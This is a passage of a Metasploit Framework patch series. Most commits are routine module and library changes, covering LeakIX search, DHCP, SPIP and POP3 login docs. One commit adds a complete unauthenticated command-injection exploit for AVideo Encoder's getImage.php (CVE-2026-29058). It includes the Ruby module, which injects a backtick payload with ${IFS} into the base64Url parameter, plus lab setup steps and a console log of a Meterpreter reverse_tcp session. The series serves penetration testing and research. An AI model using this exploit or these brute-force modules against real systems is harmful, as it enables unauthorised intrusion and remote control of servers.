         'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
         'Description' => %q{
           This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
-          Access (PRA) and Remote Support (RS). It leverages three different vulnerabilities depending on the
-          user-selected target.
-
-          The default target leverages CVE-2026-1731, a direct command injection affecting RS versions 25.3.1
-          and prior, and PRA versions 24.3.4 and prior.
-
-          Alternatively, the module can leverage a chain of CVE-2025-1094 (SQL injection in PostgreSQL)
-          and CVE-2024-12356 (argument injection), affecting RS and PRA versions 24.3.1 and prior.
-
+          Access (PRA) and Remote Support (RS). The module targets CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior.
           Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.
         },
         'License' => MSF_LICENSE,

From 6a97083e3b0831dfddad0b4ac06b91d24e92b3db Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Wed, 4 Mar 2026 15:23:27 +0100
Subject: [PATCH 042/103] Refactor: Use option conditions for action-specific
 validation

---
 modules/auxiliary/gather/leakix_search.rb | 22 ++++++----------------
 1 file changed, 6 insertions(+), 16 deletions(-)

diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb
index 0363d892502e4..3ff1d749a7340 100644
--- a/modules/auxiliary/gather/leakix_search.rb
+++ b/modules/auxiliary/gather/leakix_search.rb
@@ -66,12 +66,12 @@ def initialize(info = {})
 
     register_options([
       OptString.new('LEAKIX_APIKEY', [true, 'The LeakIX API key']),
-      OptString.new('QUERY', [false, 'The LeakIX search query']),
-      OptEnum.new('SCOPE', [true, 'Search scope (BULK only supports leak)', 'leak', ['leak', 'service']]),
-      OptInt.new('MAXPAGE', [true, 'Max pages to collect (1-500, 20 results/page)', 1]),
-      OptInt.new('MAXRESULTS', [false, 'Stop after collecting this many results (0 = unlimited)', 0]),
-      OptString.new('TARGET_IP', [false, 'Target IP for HOST action']),
-      OptString.new('TARGET_DOMAIN', [false, 'Target domain for DOMAIN/SUBDOMAINS actions']),
+      OptString.new('QUERY', [true, 'The LeakIX search query'], conditions: ['ACTION', 'in', %w[SEARCH BULK]]),
+      OptEnum.new('SCOPE', [true, 'Search scope (BULK only supports leak)', 'leak', ['leak', 'service']], conditions: ['ACTION', 'in', %w[SEARCH BULK]]),
+      OptInt.new('MAXPAGE', [true, 'Max pages to collect (1-500, 20 results/page)', 1], conditions: %w[ACTION == SEARCH]),
+      OptInt.new('MAXRESULTS', [false, 'Stop after collecting this many results (0 = unlimited)', 0], conditions: ['ACTION', 'in', %w[SEARCH BULK]]),
+      OptString.new('TARGET_IP', [true, 'Target IP for HOST action'], conditions: %w[ACTION == HOST]),
+      OptString.new('TARGET_DOMAIN', [true, 'Target domain for DOMAIN/SUBDOMAINS actions'], conditions: ['ACTION', 'in', %w[DOMAIN SUBDOMAINS]]),
       OptString.new('OUTFILE', [false, 'Path to the file to store results']),
       OptBool.new('DATABASE', [false, 'Add search results to the database', false])
     ])
@@ -492,16 +492,6 @@ def validate
     super
 
     errors = {}
-
-    case action.name
-    when 'SEARCH', 'BULK'
-      errors['QUERY'] = "QUERY is required for #{action.name} action" if datastore['QUERY'].blank?
-    when 'HOST'
-      errors['TARGET_IP'] = 'TARGET_IP is required for HOST action' if datastore['TARGET_IP'].blank?
-    when 'DOMAIN', 'SUBDOMAINS'
-      errors['TARGET_DOMAIN'] = "TARGET_DOMAIN is required for #{action.name} action" if datastore['TARGET_DOMAIN'].blank?
-    end
-
     errors['SCOPE'] = 'BULK action only supports leak scope' if action.name == 'BULK' && datastore['SCOPE'] == 'service'
     errors['MAXPAGE'] = 'MAXPAGE must be between 1 and 500' unless datastore['MAXPAGE'].to_i.between?(1, 500)
     errors['MAXRESULTS'] = 'MAXRESULTS must be >= 0' if datastore['MAXRESULTS'].to_i < 0

From 77df1f1e87e5a43e4117bdac003b9e6f71b445c5 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Wed, 4 Mar 2026 17:13:03 +0100
Subject: [PATCH 043/103] Fix: Revert action-specific options to non-required
 with manual validation

Option conditions control display but required:true still triggers
validation across all actions. Reverted QUERY, TARGET_IP, TARGET_DOMAIN
to required:false and re-added case/when validation in validate method.
---
 modules/auxiliary/gather/leakix_search.rb | 16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb
index 3ff1d749a7340..3781c17ac50fe 100644
--- a/modules/auxiliary/gather/leakix_search.rb
+++ b/modules/auxiliary/gather/leakix_search.rb
@@ -66,12 +66,12 @@ def initialize(info = {})
 
     register_options([
       OptString.new('LEAKIX_APIKEY', [true, 'The LeakIX API key']),
-      OptString.new('QUERY', [true, 'The LeakIX search query'], conditions: ['ACTION', 'in', %w[SEARCH BULK]]),
+      OptString.new('QUERY', [false, 'The LeakIX search query'], conditions: ['ACTION', 'in', %w[SEARCH BULK]]),
       OptEnum.new('SCOPE', [true, 'Search scope (BULK only supports leak)', 'leak', ['leak', 'service']], conditions: ['ACTION', 'in', %w[SEARCH BULK]]),
       OptInt.new('MAXPAGE', [true, 'Max pages to collect (1-500, 20 results/page)', 1], conditions: %w[ACTION == SEARCH]),
       OptInt.new('MAXRESULTS', [false, 'Stop after collecting this many results (0 = unlimited)', 0], conditions: ['ACTION', 'in', %w[SEARCH BULK]]),
-      OptString.new('TARGET_IP', [true, 'Target IP for HOST action'], conditions: %w[ACTION == HOST]),
-      OptString.new('TARGET_DOMAIN', [true, 'Target domain for DOMAIN/SUBDOMAINS actions'], conditions: ['ACTION', 'in', %w[DOMAIN SUBDOMAINS]]),
+      OptString.new('TARGET_IP', [false, 'Target IP for HOST action'], conditions: %w[ACTION == HOST]),
+      OptString.new('TARGET_DOMAIN', [false, 'Target domain for DOMAIN/SUBDOMAINS actions'], conditions: ['ACTION', 'in', %w[DOMAIN SUBDOMAINS]]),
       OptString.new('OUTFILE', [false, 'Path to the file to store results']),
       OptBool.new('DATABASE', [false, 'Add search results to the database', false])
     ])
@@ -492,6 +492,16 @@ def validate
     super
 
     errors = {}
+
+    case action.name
+    when 'SEARCH', 'BULK'
+      errors['QUERY'] = "QUERY is required for #{action.name} action" if datastore['QUERY'].blank?
+    when 'HOST'
+      errors['TARGET_IP'] = 'TARGET_IP is required for HOST action' if datastore['TARGET_IP'].blank?
+    when 'DOMAIN', 'SUBDOMAINS'
+      errors['TARGET_DOMAIN'] = "TARGET_DOMAIN is required for #{action.name} action" if datastore['TARGET_DOMAIN'].blank?
+    end
+
     errors['SCOPE'] = 'BULK action only supports leak scope' if action.name == 'BULK' && datastore['SCOPE'] == 'service'
     errors['MAXPAGE'] = 'MAXPAGE must be between 1 and 500' unless datastore['MAXPAGE'].to_i.between?(1, 500)
     errors['MAXRESULTS'] = 'MAXRESULTS must be >= 0' if datastore['MAXRESULTS'].to_i < 0

From 2eb160add6291f2df33f49d6d0f29d16fd65bb91 Mon Sep 17 00:00:00 2001
From: g0t mi1k <have.you.g0tmi1k@gmail.com>
Date: Wed, 11 Feb 2026 19:31:47 +0000
Subject: [PATCH 044/103] dhcp_server: Add DHCPINTERFACE

---
 lib/msf/core/exploit/dhcp_server.rb | 1 +
 lib/rex/proto/dhcp/server.rb        | 9 ++++++++-
 2 files changed, 9 insertions(+), 1 deletion(-)

diff --git a/lib/msf/core/exploit/dhcp_server.rb b/lib/msf/core/exploit/dhcp_server.rb
index f31fd314aaed7..d919a7df50fd3 100644
--- a/lib/msf/core/exploit/dhcp_server.rb
+++ b/lib/msf/core/exploit/dhcp_server.rb
@@ -17,6 +17,7 @@ def initialize(info = {})
 
     register_options(
       [
+        OptString.new('DHCPINTERFACE',[ false, "The network interface to use for broadcast" ]),
         OptString.new('SRVHOST',     [ true,  "The IP of the DHCP server" ]),
         OptString.new('NETMASK',     [ true,  "The netmask of the local subnet" ]),
         OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
diff --git a/lib/rex/proto/dhcp/server.rb b/lib/rex/proto/dhcp/server.rb
index b4b7b5ea5dae5..12d28947b9b8b 100644
--- a/lib/rex/proto/dhcp/server.rb
+++ b/lib/rex/proto/dhcp/server.rb
@@ -70,6 +70,8 @@ def initialize(hash, context = {})
       self.broadcasta = Rex::Socket.addr_itoa( self.start_ip | (Rex::Socket.addr_ntoi(self.netmaskn) ^ 0xffffffff) )
     end
 
+    self.interface = hash['DHCPINTERFACE'] || nil
+
     self.served = {}
     self.serveOnce = hash.include?('SERVEONCE')
 
@@ -110,6 +112,11 @@ def start
       'Context'   => context
     )
 
+    # Dynamically bind to interface if provided
+    if interface && !interface.empty?
+      self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BINDTODEVICE, "#{interface}\0")
+    end
+
     self.thread = Rex::ThreadFactory.spawn("DHCPServerMonitor", false) {
       monitor_socket
     }
@@ -153,7 +160,7 @@ def send_packet(ip, pkt)
   end
 
   attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
-  attr_accessor :domain_name, :proxy_auto_discovery
+  attr_accessor :domain_name, :proxy_auto_discovery, :interface
   attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
   attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
   attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE

From 4534a8a07e84081da76c1f1cf26d44b3338d5ad7 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Thu, 5 Mar 2026 14:07:22 +0100
Subject: [PATCH 045/103] Fix: Address msutovsky-r7 PR review feedback

- Add IOC_IN_LOGS to SideEffects (POST payload may appear in app logs)
- Pass page parameter via vars_get instead of embedding in URI string
- Apply vars_get consistently in crawl seed request
---
 .../exploits/multi/http/spip_saisies_rce.rb   | 24 ++++++++++++-------
 1 file changed, 16 insertions(+), 8 deletions(-)

diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb
index e2199953b8436..91499dd70a2a3 100644
--- a/modules/exploits/multi/http/spip_saisies_rce.rb
+++ b/modules/exploits/multi/http/spip_saisies_rce.rb
@@ -72,7 +72,7 @@ def initialize(info = {})
         'Notes' => {
           'Stability' => [CRASH_SAFE],
           'Reliability' => [REPEATABLE_SESSION],
-          'SideEffects' => []
+          'SideEffects' => [IOC_IN_LOGS]
         }
       )
     )
@@ -108,17 +108,24 @@ def check
   def find_form_page
     if datastore['FORM_PAGE'].downcase != 'crawl'
       page = datastore['FORM_PAGE']
-      uri = page.start_with?('/') ? page : normalize_uri(target_uri.path, "spip.php?page=#{page}")
-      return uri if saisies_form?(uri)
+      if page.start_with?('/')
+        return page if saisies_form?(page)
 
-      fail_with(Failure::NotFound, "No saisies form found at #{uri}")
+        fail_with(Failure::NotFound, "No saisies form found at #{page}")
+      end
+
+      uri = normalize_uri(target_uri.path, 'spip.php')
+      full_uri = "#{uri}?page=#{page}"
+      return full_uri if saisies_form?(uri, 'page' => page)
+
+      fail_with(Failure::NotFound, "No saisies form found at #{full_uri}")
     end
 
     crawl_for_form
   end
 
-  def saisies_form?(uri)
-    res = send_request_cgi('method' => 'GET', 'uri' => uri)
+  def saisies_form?(uri, vars_get = {})
+    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => vars_get)
     res&.code == 200 && res.body.include?(FORM_PARAM)
   end
 
@@ -128,8 +135,9 @@ def crawl_for_form
     queue = []
 
     # Seed with the SPIP sitemap page
-    plan_uri = normalize_uri(target_uri.path, 'spip.php?page=plan')
-    res = send_request_cgi('method' => 'GET', 'uri' => plan_uri)
+    plan_path = normalize_uri(target_uri.path, 'spip.php')
+    plan_uri = "#{plan_path}?page=plan"
+    res = send_request_cgi('method' => 'GET', 'uri' => plan_path, 'vars_get' => { 'page' => 'plan' })
     if res&.code == 200
       seen.add(plan_uri)
       extract_internal_links(res).each { |link| queue << link }

From 3d38e9b27b3f3eb210ba8200a7402e7773eea43d Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Thu, 5 Mar 2026 14:13:05 +0100
Subject: [PATCH 046/103] Fix: Fallback check to Detected when plugin version
 unavailable

- Use spip_version as fallback when spip_plugin_version fails
- Return Detected instead of Unknown so AutoCheck does not abort
- Fix lab healthcheck to wait for saisies form before reporting healthy
---
 .../exploit/multi/http/spip_saisies_rce.md     |  2 +-
 .../exploits/multi/http/spip_saisies_rce.rb    | 18 ++++++++++--------
 2 files changed, 11 insertions(+), 9 deletions(-)

diff --git a/documentation/modules/exploit/multi/http/spip_saisies_rce.md b/documentation/modules/exploit/multi/http/spip_saisies_rce.md
index 8b0d65f662e8f..e7d6e7ce6a2ff 100644
--- a/documentation/modules/exploit/multi/http/spip_saisies_rce.md
+++ b/documentation/modules/exploit/multi/http/spip_saisies_rce.md
@@ -43,7 +43,7 @@ services:
       db:
         condition: service_healthy
     healthcheck:
-      test: ["CMD", "curl", "-f", "http://localhost/"]
+      test: ["CMD", "bash", "-c", "curl -sf http://localhost/spip.php?page=contact | grep -q _anciennes_valeurs"]
       interval: 10s
       timeout: 5s
       retries: 30
diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb
index 91499dd70a2a3..0fcdcb6697144 100644
--- a/modules/exploits/multi/http/spip_saisies_rce.rb
+++ b/modules/exploits/multi/http/spip_saisies_rce.rb
@@ -88,17 +88,19 @@ def initialize(info = {})
 
   def check
     version = spip_plugin_version('saisies')
-    unless version
-      return CheckCode::Unknown('Could not determine the saisies plugin version.')
-    end
-
-    print_status("Saisies plugin version: #{version}")
+    if version
+      print_status("Saisies plugin version: #{version}")
+      if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0'))
+        return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).")
+      end
 
-    if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0'))
-      return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).")
+      return CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.")
     end
 
-    CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.")
+    spip_ver = spip_version
+    return CheckCode::Unknown('Target does not appear to be running SPIP.') unless spip_ver
+
+    CheckCode::Detected("SPIP #{spip_ver} detected but could not determine saisies plugin version.")
   end
 
   # Find a page containing a saisies form (_anciennes_valeurs parameter).

From 3de421f8f5cda41c269792bfe6a518254c9d4a3a Mon Sep 17 00:00:00 2001
From: adfoster-r7 <alandavid_foster@rapid7.com>
Date: Thu, 5 Mar 2026 17:16:02 +0000
Subject: [PATCH 047/103] Update metasploit data models

---
 Gemfile.lock                 | 4 ++--
 db/schema.rb                 | 9 ++++++++-
 metasploit-framework.gemspec | 2 +-
 3 files changed, 11 insertions(+), 4 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 084e0e24438bd..73b973b100ebd 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -47,7 +47,7 @@ PATH
       metasploit-credential
       metasploit-model
       metasploit-payloads (= 2.0.240)
-      metasploit_data_models (>= 6.0.7)
+      metasploit_data_models (>= 6.0.15)
       metasploit_payloads-mettle (= 1.0.46)
       mqtt
       msgpack (~> 1.6.0)
@@ -353,7 +353,7 @@ GEM
       mutex_m
       railties (~> 7.0)
     metasploit-payloads (2.0.240)
-    metasploit_data_models (6.0.12)
+    metasploit_data_models (6.0.15)
       activerecord (~> 7.0)
       activesupport (~> 7.0)
       arel-helpers
diff --git a/db/schema.rb b/db/schema.rb
index 1d74b6c434eca..7ef2a2ef85e93 100644
--- a/db/schema.rb
+++ b/db/schema.rb
@@ -10,7 +10,7 @@
 #
 # It's strongly recommended that you check this file into your version control system.
 
-ActiveRecord::Schema[7.2].define(version: 2025_07_21_114306) do
+ActiveRecord::Schema[7.2].define(version: 2026_01_30_124052) do
   # These are extensions that must be enabled in order to support this database
   enable_extension "plpgsql"
 
@@ -576,6 +576,12 @@
     t.index ["module_run_id"], name: "index_sessions_on_module_run_id"
   end
 
+  create_table "sessions_tags", force: :cascade do |t|
+    t.integer "session_id"
+    t.integer "tag_id"
+    t.index ["session_id", "tag_id"], name: "index_sessions_tags_on_session_id_and_tag_id", unique: true
+  end
+
   create_table "tags", id: :serial, force: :cascade do |t|
     t.integer "user_id"
     t.string "name", limit: 1024
@@ -646,6 +652,7 @@
     t.string "company"
     t.string "prefs", limit: 524288
     t.boolean "admin", default: true, null: false
+    t.boolean "sso_enabled", default: false, null: false
   end
 
   create_table "vuln_attempts", id: :serial, force: :cascade do |t|
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index ad0d0ca24ee1d..06288b84bf2ca 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -69,7 +69,7 @@ Gem::Specification.new do |spec|
   # Metasploit::Credential database models
   spec.add_runtime_dependency 'metasploit-credential'
   # Database models shared between framework and Pro.
-  spec.add_runtime_dependency 'metasploit_data_models', '>= 6.0.7'
+  spec.add_runtime_dependency 'metasploit_data_models', '>= 6.0.15'
   # Things that would normally be part of the database model, but which
   # are needed when there's no database
   spec.add_runtime_dependency 'metasploit-model'

From dfe73bb4c52640d1cb2a08620ccf8f94a053acbf Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Fri, 6 Mar 2026 21:28:39 +0100
Subject: [PATCH 048/103] Add exploit for AVideo Encoder getImage.php command
 injection (CVE-2026-29058)

Unauthenticated OS command injection via the base64Url parameter in
getImage.php. The URL is interpolated into an ffmpeg shell command
without escapeshellarg(), and FILTER_VALIDATE_URL does not block
shell metacharacters in the URL path.
---
 .../avideo_encoder_getimage_cmd_injection.md  | 150 ++++++++++++++++++
 .../avideo_encoder_getimage_cmd_injection.rb  | 112 +++++++++++++
 2 files changed, 262 insertions(+)
 create mode 100644 documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
 create mode 100644 modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb

diff --git a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
new file mode 100644
index 0000000000000..a42148b74a523
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
@@ -0,0 +1,150 @@
+## Vulnerable Application
+
+This module exploits an unauthenticated OS command injection vulnerability in AVideo
+Encoder's `getImage.php` endpoint.
+
+**CVE ID:** CVE-2026-29058
+
+**Affected Versions:** AVideo Encoder before version 7.0 (commit 78178d1)
+
+### Vulnerability Overview
+
+The `getImage.php` endpoint accepts a `base64Url` GET parameter which is base64-decoded and
+passed through PHP's `FILTER_VALIDATE_URL`. The validated URL is then interpolated directly
+into an ffmpeg shell command within double quotes, without any use of `escapeshellarg()` or
+metacharacter filtering.
+
+PHP's `FILTER_VALIDATE_URL` does not block shell metacharacters such as backticks or `$()`
+in the URL path component. A crafted URL like `http://x/$(cmd)` passes validation and gets
+interpolated into:
+
+```
+ffmpeg -i "http://x/$(cmd)" -f image2 ...
+```
+
+This results in arbitrary command execution as `www-data`. The Encoder code is served by the
+main AVideo Apache container (mounted at `/Encoder`), so exploitation gives access to the
+main application context including database credentials and configuration.
+
+Fixed in AVideo Encoder version 7.0 (commit `78178d1`) which added `escapeshellarg()` and
+shell metacharacter stripping.
+
+### Setup
+
+This lab reuses the same AVideo Docker environment as the `avideo_notify_ffmpeg_unauth_rce`
+module, with one additional step: replacing the patched `getImage.php` with the pre-patch
+(vulnerable) version.
+
+1. Clone the AVideo repository and checkout the vulnerable commit:
+
+```bash
+cd /tmp
+git clone https://github.com/WWBN/AVideo.git
+cd AVideo
+git checkout 596df4e5b0597c9806da76ebec5bbe3b305953e4
+```
+
+2. Create a `.env` file with the following configuration:
+
+```bash
+cat > .env << EOF
+SERVER_NAME=localhost
+CREATE_TLS_CERTIFICATE=yes
+DB_MYSQL_HOST=database
+DB_MYSQL_PORT=3306
+DB_MYSQL_NAME=avideo
+DB_MYSQL_USER=avideo
+DB_MYSQL_PASSWORD=avideo
+HTTP_PORT=80
+HTTPS_PORT=9443
+NETWORK_SUBNET=172.99.0.0/16
+EOF
+```
+
+3. Fix MariaDB corrupted tc.log issue (required for first-time setup):
+
+```bash
+cat > deploy/docker-entrypoint-mariadb << 'SCRIPTEOF'
+#!/bin/bash
+set -e
+
+if [ -f /var/lib/mysql/tc.log ]; then
+    MAGIC_HEADER=$(head -c 4 /var/lib/mysql/tc.log | od -An -tx1 | tr -d ' \n' 2>/dev/null || echo "")
+    if [ "$MAGIC_HEADER" != "01000000" ] && [ -n "$MAGIC_HEADER" ]; then
+        echo "[Entrypoint]: Removing corrupted tc.log file (bad magic header: $MAGIC_HEADER)"
+        rm -f /var/lib/mysql/tc.log
+    fi
+fi
+SCRIPTEOF
+chmod +x deploy/docker-entrypoint-mariadb
+
+cat >> Dockerfile.mariadb << 'DOCKERFILEEOF'
+
+COPY deploy/docker-entrypoint-mariadb /usr/local/bin/docker-entrypoint-mariadb
+RUN chmod +x /usr/local/bin/docker-entrypoint-mariadb
+RUN sed -i '2i /usr/local/bin/docker-entrypoint-mariadb' /usr/local/bin/docker-entrypoint.sh
+DOCKERFILEEOF
+
+docker compose build database database_encoder
+```
+
+4. Start the Docker Compose environment:
+
+```bash
+docker compose up -d
+```
+
+5. Wait for the services to be ready and access the application at `http://localhost`.
+
+6. Replace the Encoder's `getImage.php` with the pre-patch (vulnerable) version:
+
+```bash
+cd .compose/encoder
+git checkout e0c2768 -- objects/getImage.php
+cd ../..
+docker compose restart avideo
+```
+
+After this step, the `/Encoder/objects/getImage.php` endpoint is vulnerable to command
+injection via the `base64Url` parameter.
+
+## Verification Steps
+
+1. Start `msfconsole`
+2. `use exploit/linux/http/avideo_encoder_getimage_cmd_injection`
+3. `set RHOSTS <target_ip>`
+4. `set RPORT <target_port>` (default: 80)
+5. `set LHOST <your_ip>` (for reverse connection)
+6. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
+7. `set FETCH_SRVPORT <available_port>` (if default 8080 is taken)
+8. `exploit`
+9. **Verify** that you get a Meterpreter session
+
+## Options
+
+This module has no non-default options.
+
+## Scenarios
+
+### Meterpreter via fetch payload (cmd/linux/http/x64/meterpreter/reverse_tcp)
+
+This scenario demonstrates exploitation against AVideo with a vulnerable Encoder, using a
+fetch payload to deliver a Meterpreter binary:
+
+```
+msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set RHOSTS localhost
+RHOSTS => localhost
+msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set RPORT 80
+RPORT => 80
+msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set LHOST 172.99.0.1
+LHOST => 172.99.0.1
+msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > exploit
+[*] Started reverse TCP handler on 172.99.0.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable. Command injection confirmed via sleep timing (3/3 checks passed)
+[*] Sending command injection via getImage.php...
+[*] Sending stage (3090404 bytes) to 172.99.0.7
+[*] Meterpreter session 1 opened (172.99.0.1:4444 -> 172.99.0.7:46970) at 2026-03-06 21:26:32 +0100
+
+meterpreter >
+```
diff --git a/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb b/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb
new file mode 100644
index 0000000000000..e2bff788e0225
--- /dev/null
+++ b/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb
@@ -0,0 +1,112 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'AVideo Encoder getImage.php Unauthenticated Command Injection',
+        'Description' => %q{
+          This module exploits an unauthenticated OS command injection vulnerability
+          in AVideo Encoder's getImage.php endpoint (CVE-2026-29058).
+
+          The base64Url GET parameter is base64-decoded and injected directly into an
+          ffmpeg shell command within double quotes, without any sanitization or use of
+          escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell
+          metacharacters such as $() in the URL path, allowing command substitution.
+
+          A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated
+          into: ffmpeg -i "{$url}" ... resulting in arbitrary command execution as www-data.
+
+          The Encoder code is served by the main AVideo Apache container (mounted at
+          /Encoder), so exploitation gives access to the main application context including
+          database credentials and configuration.
+
+          Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg()
+          and shell metacharacter stripping.
+        },
+        'Author' => [
+          'arkmarta', # Vulnerability discovery -- props to you man
+          'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['CVE', '2026-29058'],
+          ['GHSA', '9j26-99jh-v26q', 'WWBN/AVideo-Encoder']
+        ],
+        'Privileged' => false,
+        'Targets' => [
+          [
+            'Unix/Linux Command Shell',
+            {
+              'Platform' => %w[unix linux],
+              'Arch' => ARCH_CMD,
+              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
+              'DefaultOptions' => {
+                'ENCODER' => 'generic/none',
+                'FETCH_WRITABLE_DIR' => '/tmp'
+              }
+            }
+          ]
+        ],
+        'DefaultTarget' => 0,
+        'DisclosureDate' => '2026-03-05',
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [IOC_IN_LOGS]
+        }
+      )
+    )
+
+    register_options([
+      OptString.new('TARGETURI', [true, 'The base path to AVideo', '/'])
+    ])
+  end
+
+  def check
+    res = send_getimage('true')
+    return CheckCode::Unknown('Failed to connect to the target.') unless res
+    return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200
+
+    hits = 0
+
+    3.times do |i|
+      sleep_time = rand(1..3)
+      vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...")
+      _, elapsed = Rex::Stopwatch.elapsed_time do
+        send_getimage("sleep${IFS}#{sleep_time}")
+      end
+
+      next unless elapsed >= (sleep_time - 0.5)
+
+      vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed")
+      hits += 1
+    end
+
+    return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2
+
+    CheckCode::Safe('getImage.php is accessible but command injection did not trigger')
+  end
+
+  def exploit
+    print_status('Sending command injection via getImage.php...')
+    send_getimage(payload.encoded.gsub(' ', '${IFS}'))
+  end
+
+  def send_getimage(cmd)
+    send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'Encoder', 'objects', 'getImage.php'),
+      'method' => 'GET',
+      'vars_get' => { 'base64Url' => Rex::Text.encode_base64("#{Faker::Internet.url}/`#{cmd}`"), 'format' => 'png' }
+    })
+  end
+end

From d2812ae9fc26615e88dbcd751138e23d33cd4a0f Mon Sep 17 00:00:00 2001
From: jeanmtr <jean.montagnat-rentier@telecom-paris.fr>
Date: Fri, 6 Mar 2026 22:40:57 +0100
Subject: [PATCH 049/103] add documentation for the pop3_login.md module

---
 .../auxiliary/scanner/pop3/pop3_login.md      | 124 ++++++++++++++++++
 1 file changed, 124 insertions(+)
 create mode 100644 documentation/modules/auxiliary/scanner/pop3/pop3_login.md

diff --git a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md
new file mode 100644
index 0000000000000..d89f4f1a6f836
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md
@@ -0,0 +1,124 @@
+## Vulnerable Application
+
+POP3 is an application-layer Internet standard protocol used by e-mail clients
+to retrieve e-mail from a mail server.
+
+This module in particular attempts to authenticate to a POP3 service.
+The default wordlists are:
+- [unix_users.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/unix_users.txt) for users and
+- [unix_passwords.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/unix_passwords.txt) for passowords
+## Verification Steps
+
+1. Install and configure a pop3 server (ex: with dovecot)
+2. Start msfconsole
+3. Do: `use auxiliary/scanner/pop3/pop3_login`
+4. Do: `set rhosts [IP]`
+5. Do: `run`
+
+## Options
+
+### ANONYMOUS_LOGIN
+
+  Attempt to login with a blank username and password
+
+### BLANK_PASSWORDS
+
+  Try blank passwords for all users
+
+### BRUTEFORCE_SPEED
+
+  How fast to bruteforce, from 0 to 5
+
+### DB_ALL_CREDS
+
+  Try each user/password couple stored in the current database
+
+### DB_ALL_PASS
+
+  Add all passwords in the current database to the list
+
+### DB_ALL_USERS
+
+  Add all users in the current database to the list
+
+### DB_SKIP_EXISTING
+
+  Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
+
+### PASSWORD
+
+  A specific password to authenticate with
+
+### PASS_FILE
+
+  Newline separated list of probable users passwords. Default depends on install location,
+  however it will be within metasploit-framework/data/wordlists/unix_passwords.txt
+
+### STOP_ON_SUCCESS
+
+  Stop guessing when a credential works for a host
+
+### THREADS
+
+  The number of concurrent threads (max one per host)
+
+### USERNAME
+
+  A specific username to authenticate as
+
+### USERPASS_FILE
+
